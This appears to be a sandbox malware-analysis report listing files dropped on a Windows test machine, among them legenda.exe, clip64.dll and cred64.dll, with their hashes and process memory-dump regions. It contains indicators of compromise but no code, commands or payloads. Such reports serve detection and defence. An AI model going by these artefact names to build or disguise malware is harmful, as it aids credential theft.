SHA1f1013a3c2c072f9f0a7152f991da610438ca4c86
SHA256646a8ac21a14234a4f94fcc382e89b602eda1184c85c8bf182e8650c0948937c
SHA512c19e8b725938949b1162bd498a63a7f35c6740c4c598f48fa414a531f46c2dbf7658c9b9ea5dd51622a378f23fdcbd4efa891c314d8c88f7d99022cd767253aa
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xpqQG58.exeFilesize
175KB
MD53389637c0d072121bf1b127629736d37
SHA1300e915efdf2479bfd0d3699c0a6bc51260f9655
SHA2562b74c4ce2674a8fc0c78fffa39c5de5e43ae28b8bf425349a5f97c6a61135153
SHA512a32cc060d2600f6ca94ffdce07c95ea5e2f56c0b418260456b568cb41e5f55db0c4fc97c35ca4103c674e61a17300d834d2c0da5a78b7084b6bc342fd23a7fb4
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xpqQG58.exeFilesize
175KB
MD53389637c0d072121bf1b127629736d37
SHA1300e915efdf2479bfd0d3699c0a6bc51260f9655
SHA2562b74c4ce2674a8fc0c78fffa39c5de5e43ae28b8bf425349a5f97c6a61135153
SHA512a32cc060d2600f6ca94ffdce07c95ea5e2f56c0b418260456b568cb41e5f55db0c4fc97c35ca4103c674e61a17300d834d2c0da5a78b7084b6bc342fd23a7fb4
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap3815.exeFilesize
635KB
MD5c3c705af9eca9b01d6636016cb750926
SHA16de9fd49d386acee29d29fa045734299ed9990fe
SHA256fe2adcdcd90a632c878c439353c4d5ca0fc4736a53879a72a9d90a0e802f823e
SHA512516df27aef434dbffc95f9dc464455f33e18114a59a4fbe41496577af3fc4098bf33c5524d12fa9fd3b1cf65685be40811a921412b7e665d3560dcc953067e1e
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap3815.exeFilesize
635KB
MD5c3c705af9eca9b01d6636016cb750926
SHA16de9fd49d386acee29d29fa045734299ed9990fe
SHA256fe2adcdcd90a632c878c439353c4d5ca0fc4736a53879a72a9d90a0e802f823e
SHA512516df27aef434dbffc95f9dc464455f33e18114a59a4fbe41496577af3fc4098bf33c5524d12fa9fd3b1cf65685be40811a921412b7e665d3560dcc953067e1e
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w83gE97.exeFilesize
288KB
MD5195390eabdb1e8e626c5ef723cd24eff
SHA1f6a2230706201b90d6c8a5ded1974bf704a9847a
SHA25648b8c84cd6f6aaf7360b581b38b52cb4d15b19ae0136347bd3a542832a3ed305
SHA5121a1e61bc29c3921131e4863729f5a15362c3bbafdb7d2d69aea082604aabb9c58bd35452dd8e484e1a05d530ae4794ab0c3c08bc7ecb6dc17c4da827ccfafaa1
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w83gE97.exeFilesize
288KB
MD5195390eabdb1e8e626c5ef723cd24eff
SHA1f6a2230706201b90d6c8a5ded1974bf704a9847a
SHA25648b8c84cd6f6aaf7360b581b38b52cb4d15b19ae0136347bd3a542832a3ed305
SHA5121a1e61bc29c3921131e4863729f5a15362c3bbafdb7d2d69aea082604aabb9c58bd35452dd8e484e1a05d530ae4794ab0c3c08bc7ecb6dc17c4da827ccfafaa1
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap5071.exeFilesize
314KB
MD588ed5069251612434621ae85e9509607
SHA1eb6124050b2cba2224456a70bb938ef100321224
SHA2560648e12e48eeee4a50032c9594fabe861bec8fe22a6fcc5ab55dabeefe2f2cef
SHA5127b7b41b0347bdfb226d6078562824ea1dea1506949e54aab23afb5adcd68d269a58b0bd3db0e35682acef0817167bb701b8e8d8c585fd24f65f8513d73feea29
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap5071.exeFilesize
314KB
MD588ed5069251612434621ae85e9509607
SHA1eb6124050b2cba2224456a70bb938ef100321224
SHA2560648e12e48eeee4a50032c9594fabe861bec8fe22a6fcc5ab55dabeefe2f2cef
SHA5127b7b41b0347bdfb226d6078562824ea1dea1506949e54aab23afb5adcd68d269a58b0bd3db0e35682acef0817167bb701b8e8d8c585fd24f65f8513d73feea29
-
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz0338.exeFilesize
11KB
MD57e93bacbbc33e6652e147e7fe07572a0
SHA1421a7167da01c8da4dc4d5234ca3dd84e319e762
SHA256850cd190aaeebcf1505674d97f51756f325e650320eaf76785d954223a9bee38
SHA512250169d7b6fcebff400be89edae8340f14130ced70c340ba9da9f225f62b52b35f6645bfb510962efb866f988688cb42392561d3e6b72194bc89d310ea43aa91
-
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz0338.exeFilesize
11KB
MD57e93bacbbc33e6652e147e7fe07572a0
SHA1421a7167da01c8da4dc4d5234ca3dd84e319e762
SHA256850cd190aaeebcf1505674d97f51756f325e650320eaf76785d954223a9bee38
SHA512250169d7b6fcebff400be89edae8340f14130ced70c340ba9da9f225f62b52b35f6645bfb510962efb866f988688cb42392561d3e6b72194bc89d310ea43aa91
-
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v1041uG.exeFilesize
230KB
MD5ab16195157e9b7a875debd40a4bee278
SHA176676e30efb6ba1e7e33ad9c3dc7dcb1f781fa21
SHA256172409ce1c6571f2224701351fada0c7a4a2137fc27d3f4379b536e7961475f4
SHA512216a8c5dc2e0d4eb8ad7808a64bb81508b14124838b033f23cfdd4c89796603b6025eb117d8ada85006ffb4ead4a0ab1ac89733e050b34cc70422d1239383a32
-
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v1041uG.exeFilesize
230KB
MD5ab16195157e9b7a875debd40a4bee278
SHA176676e30efb6ba1e7e33ad9c3dc7dcb1f781fa21
SHA256172409ce1c6571f2224701351fada0c7a4a2137fc27d3f4379b536e7961475f4
SHA512216a8c5dc2e0d4eb8ad7808a64bb81508b14124838b033f23cfdd4c89796603b6025eb117d8ada85006ffb4ead4a0ab1ac89733e050b34cc70422d1239383a32
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nj3mnlqi.wgs.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exeFilesize
235KB
MD55086db99de54fca268169a1c6cf26122
SHA1003f768ffcc99bda5cda1fb966fda8625a8fdc3e
SHA25642873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4
SHA51290531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5
-
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exeFilesize
235KB
MD55086db99de54fca268169a1c6cf26122
SHA1003f768ffcc99bda5cda1fb966fda8625a8fdc3e
SHA25642873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4
SHA51290531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5
-
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exeFilesize
235KB
MD55086db99de54fca268169a1c6cf26122
SHA1003f768ffcc99bda5cda1fb966fda8625a8fdc3e
SHA25642873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4
SHA51290531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5
-
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exeFilesize
235KB
MD55086db99de54fca268169a1c6cf26122
SHA1003f768ffcc99bda5cda1fb966fda8625a8fdc3e
SHA25642873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4
SHA51290531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5
-
C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exeFilesize
235KB
MD55086db99de54fca268169a1c6cf26122
SHA1003f768ffcc99bda5cda1fb966fda8625a8fdc3e
SHA25642873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4
SHA51290531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5
-
C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dllFilesize
89KB
MD516cf28ebb6d37dbaba93f18320c6086e
SHA1eae7d4b7a9636329065877aabe8d4f721a26ab25
SHA256c0603ed73299e59dc890ae194c552acd9d8a2aef2e1a9e76346ca672e3b14106
SHA512f8eee1d4142483de223ddbefec43023fd167e41e358bf8994140e2dcc1712f49228dc92e4e237d1df4ffa6c948097a8309c84d60788a03babed668532c438fc2
-
C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dllFilesize
89KB
MD516cf28ebb6d37dbaba93f18320c6086e
SHA1eae7d4b7a9636329065877aabe8d4f721a26ab25
SHA256c0603ed73299e59dc890ae194c552acd9d8a2aef2e1a9e76346ca672e3b14106
SHA512f8eee1d4142483de223ddbefec43023fd167e41e358bf8994140e2dcc1712f49228dc92e4e237d1df4ffa6c948097a8309c84d60788a03babed668532c438fc2
-
C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dllFilesize
89KB
MD516cf28ebb6d37dbaba93f18320c6086e
SHA1eae7d4b7a9636329065877aabe8d4f721a26ab25
SHA256c0603ed73299e59dc890ae194c552acd9d8a2aef2e1a9e76346ca672e3b14106
SHA512f8eee1d4142483de223ddbefec43023fd167e41e358bf8994140e2dcc1712f49228dc92e4e237d1df4ffa6c948097a8309c84d60788a03babed668532c438fc2
-
C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dllFilesize
223B
MD594cbeec5d4343918fd0e48760e40539c
SHA1a049266c5c1131f692f306c8710d7e72586ae79d
SHA25648eb3ca078da2f5e9fd581197ae1b4dfbac6d86040addbb305e305c014741279
SHA5124e92450333d60b1977f75c240157a8589cfb1c80a979fbe0793cc641e13556004e554bc6f9f4853487dbcfcdc2ca93afe610649e9712e91415ed3f2a60d4fec0
-
memory/820-161-0x0000000000B70000-0x0000000000B7A000-memory.dmpFilesize
40KB
-
memory/3132-311-0x00000000004D0000-0x000000000051B000-memory.dmpFilesize
300KB
-
memory/3132-313-0x0000000002620000-0x0000000002630000-memory.dmpFilesize
64KB
-
memory/3132-213-0x0000000002580000-0x00000000025BE000-memory.dmpFilesize
248KB
-
memory/3132-215-0x0000000002580000-0x00000000025BE000-memory.dmpFilesize
248KB
-
memory/3132-217-0x0000000002580000-0x00000000025BE000-memory.dmpFilesize
248KB
-
memory/3132-219-0x0000000002580000-0x00000000025BE000-memory.dmpFilesize
248KB
-
memory/3132-221-0x0000000002580000-0x00000000025BE000-memory.dmpFilesize
248KB
-
memory/3132-223-0x0000000002580000-0x00000000025BE000-memory.dmpFilesize
248KB
-
memory/3132-225-0x0000000002580000-0x00000000025BE000-memory.dmpFilesize
248KB
-
memory/3132-227-0x0000000002580000-0x00000000025BE000-memory.dmpFilesize
248KB
-
memory/3132-229-0x0000000002580000-0x00000000025BE000-memory.dmpFilesize
248KB
-
memory/3132-231-0x0000000002580000-0x00000000025BE000-memory.dmpFilesize
248KB
-
memory/3132-233-0x0000000002580000-0x00000000025BE000-memory.dmpFilesize
248KB
-
memory/3132-235-0x0000000002580000-0x00000000025BE000-memory.dmpFilesize
248KB
-
memory/3132-237-0x0000000002580000-0x00000000025BE000-memory.dmpFilesize
248KB
-
memory/3132-239-0x0000000002580000-0x00000000025BE000-memory.dmpFilesize
248KB
-
memory/3132-241-0x0000000002580000-0x00000000025BE000-memory.dmpFilesize
248KB
-
memory/3132-243-0x0000000002580000-0x00000000025BE000-memory.dmpFilesize
248KB
-
memory/3132-210-0x0000000002580000-0x00000000025BE000-memory.dmpFilesize
248KB
-
memory/3132-211-0x0000000002580000-0x00000000025BE000-memory.dmpFilesize
248KB
-
memory/3132-315-0x0000000002620000-0x0000000002630000-memory.dmpFilesize
64KB
-
memory/3132-1119-0x0000000005240000-0x0000000005858000-memory.dmpFilesize
6.1MB
-
memory/3132-1120-0x00000000058B0000-0x00000000059BA000-memory.dmpFilesize
1.0MB
-
memory/3132-1121-0x00000000059F0000-0x0000000005A02000-memory.dmpFilesize
72KB
-
memory/3132-1122-0x0000000002620000-0x0000000002630000-memory.dmpFilesize
64KB
-
memory/3132-1123-0x0000000005A10000-0x0000000005A4C000-memory.dmpFilesize
240KB
-
memory/3132-1124-0x0000000005D00000-0x0000000005D92000-memory.dmpFilesize
584KB
-
memory/3132-1125-0x0000000005DA0000-0x0000000005E06000-memory.dmpFilesize
408KB
-
memory/3132-1127-0x0000000002620000-0x0000000002630000-memory.dmpFilesize
64KB
-
memory/3132-1128-0x0000000002620000-0x0000000002630000-memory.dmpFilesize
64KB
-
memory/3132-1129-0x0000000002620000-0x0000000002630000-memory.dmpFilesize
64KB
-
memory/3132-1130-0x00000000064D0000-0x0000000006546000-memory.dmpFilesize
472KB
-
memory/3132-1131-0x0000000006550000-0x00000000065A0000-memory.dmpFilesize
320KB
-
memory/3132-1132-0x00000000066C0000-0x0000000006882000-memory.dmpFilesize
1.8MB
-
memory/3132-1133-0x0000000006890000-0x0000000006DBC000-memory.dmpFilesize
5.2MB
-
memory/3132-1134-0x0000000002620000-0x0000000002630000-memory.dmpFilesize
64KB
-
memory/4116-1140-0x0000000000250000-0x0000000000282000-memory.dmpFilesize
200KB
-
memory/4116-1141-0x0000000004BB0000-0x0000000004BC0000-memory.dmpFilesize
64KB
-
memory/4396-205-0x0000000000400000-0x00000000004BA000-memory.dmpFilesize
744KB
-
memory/4396-179-0x0000000002590000-0x00000000025A2000-memory.dmpFilesize
72KB
-
memory/4396-202-0x0000000002200000-0x0000000002210000-memory.dmpFilesize
64KB
-
memory/4396-201-0x0000000002200000-0x0000000002210000-memory.dmpFilesize
64KB
-
memory/4396-200-0x0000000000400000-0x00000000004BA000-memory.dmpFilesize
744KB
-
memory/4396-199-0x0000000002590000-0x00000000025A2000-memory.dmpFilesize
72KB
-
memory/4396-197-0x0000000002590000-0x00000000025A2000-memory.dmpFilesize
72KB
-
memory/4396-195-0x0000000002590000-0x00000000025A2000-memory.dmpFilesize
72KB
-
memory/4396-193-0x0000000002590000-0x00000000025A2000-memory.dmpFilesize
72KB
-
memory/4396-191-0x0000000002590000-0x00000000025A2000-memory.dmpFilesize
72KB
-
memory/4396-189-0x0000000002590000-0x00000000025A2000-memory.dmpFilesize
72KB
-
memory/4396-187-0x0000000002590000-0x00000000025A2000-memory.dmpFilesize
72KB
-
memory/4396-167-0x0000000004AB0000-0x0000000005054000-memory.dmpFilesize
5.6MB
-
memory/4396-185-0x0000000002590000-0x00000000025A2000-memory.dmpFilesize
72KB
-
memory/4396-168-0x0000000000590000-0x00000000005BD000-memory.dmpFilesize
180KB
-
memory/4396-183-0x0000000002590000-0x00000000025A2000-memory.dmpFilesize
72KB
-
memory/4396-181-0x0000000002590000-0x00000000025A2000-memory.dmpFilesize
72KB
-
memory/4396-203-0x0000000002200000-0x0000000002210000-memory.dmpFilesize
64KB
-
memory/4396-177-0x0000000002590000-0x00000000025A2000-memory.dmpFilesize
72KB
-
memory/4396-171-0x0000000002200000-0x0000000002210000-memory.dmpFilesize
64KB
-
memory/4396-170-0x0000000002200000-0x0000000002210000-memory.dmpFilesize
64KB
-
memory/4396-169-0x0000000002200000-0x0000000002210000-memory.dmpFilesize
64KB
-
memory/4396-172-0x0000000002590000-0x00000000025A2000-memory.dmpFilesize
72KB
-
memory/4396-173-0x0000000002590000-0x00000000025A2000-memory.dmpFilesize
72KB
-
memory/4396-175-0x0000000002590000-0x00000000025A2000-memory.dmpFilesize
72KB
-
memory/4492-1224-0x000001BBCE860000-0x000001BBCE870000-memory.dmpFilesize
64KB
-
memory/4492-1225-0x000001BBCE860000-0x000001BBCE870000-memory.dmpFilesize
64KB
-
memory/4492-1220-0x000001BBCE860000-0x000001BBCE870000-memory.dmpFilesize
64KB
-
memory/4492-1219-0x000001BBCE860000-0x000001BBCE870000-memory.dmpFilesize
64KB
-
memory/4544-1223-0x000002F655BD0000-0x000002F655BE0000-memory.dmpFilesize
64KB
-
memory/4544-1222-0x000002F655BD0000-0x000002F655BE0000-memory.dmpFilesize
64KB
-
memory/4544-1221-0x000002F655BD0000-0x000002F655BE0000-memory.dmpFilesize
64KB
-
memory/4544-1218-0x000002F655BD0000-0x000002F655BE0000-memory.dmpFilesize
64KB
-
memory/4544-1201-0x000002F655BD0000-0x000002F655BE0000-memory.dmpFilesize
64KB
-
memory/4544-1200-0x000002F655B80000-0x000002F655BA2000-memory.dmpFilesize
136KB
-
memory/4544-1198-0x000002F655BD0000-0x000002F655BE0000-memory.dmpFilesize
64KB